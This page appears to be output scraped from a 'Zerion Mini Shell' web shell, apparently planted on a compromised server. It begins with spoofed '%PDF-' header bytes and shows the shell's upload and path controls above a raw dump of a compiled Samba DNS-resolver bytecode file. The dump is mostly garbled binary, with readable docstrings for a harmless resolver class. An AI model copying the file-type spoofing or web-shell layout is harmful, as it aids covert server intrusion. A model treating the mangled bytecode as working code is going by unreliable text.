%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/samba/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/samba/__pycache__/dnsresolver.cpython-312.pyc

�

�I�d+	��Z�ddlZddlZddlZGd�dejj
�Zy)�Nc�8��eZdZdZ�fd�Zd�Z�fd�Zd�Z�xZS)�DNSResolvera4DNS stub resolver compatible with both dnspython < 2.0.0
    and dnspython >= 2.0.0.

    Set `use_search_by_default` attribute to `True`, which
    determines the default for whether the search list configured
    in the system's resolver configuration is used for relative
    names, and whether the resolver's domain may be added to relative
    names.

    Increase the default lifetime which determines the number of seconds
    to spend trying to get an answer to the question. dnspython 2.0.0
    changes this to 5sec, while the previous one was 30sec.
    c����t�|�|i|��|j�tt�d|j�|_tt�d|j�|_y)N�resolve�resolve_address)�super�__init__�reset_defaults�getattr�queryr�_resolve_addressr)�self�args�kwargs�	__class__s   ��3/usr/lib/python3/dist-packages/samba/dnsresolver.pyr	zDNSResolver.__init__&sU���
���$�)�&�)������u�w�	�4�:�:�>���&��G���!�!� 
���c� �d|_d|_y)NT�)�use_search_by_default�lifetime)rs rr
zDNSResolver.reset_defaults0s��%)��"���
rc�B��t�|��|j�y)N)r�resetr
)rrs �rrzDNSResolver.reset5s���
��
�����rc��|jtjj|�g|��dtjj
i|��S)zzQuery nameservers for PTR records.

        :param ip_address: IPv4 or IPv6 address
        :type ip_address: str
        �rdtype)r�dns�reversename�from_address�	rdatatype�PTR)r�
ip_addressrrs    rr
zDNSResolver._resolve_address9sO���t�|�|��O�O�(�(��4�
��
��=�=�$�$�
��	
�	
r)	�__name__�
__module__�__qualname__�__doc__r	r
rr
�
__classcell__)rs@rrrs����
��
�
rr)�dns.resolverr�
dns.rdatatype�dns.reversename�resolver�Resolverr�rr�<module>r-s&��(���,
�#�,�,�'�'�,
r

Zerion Mini Shell 1.0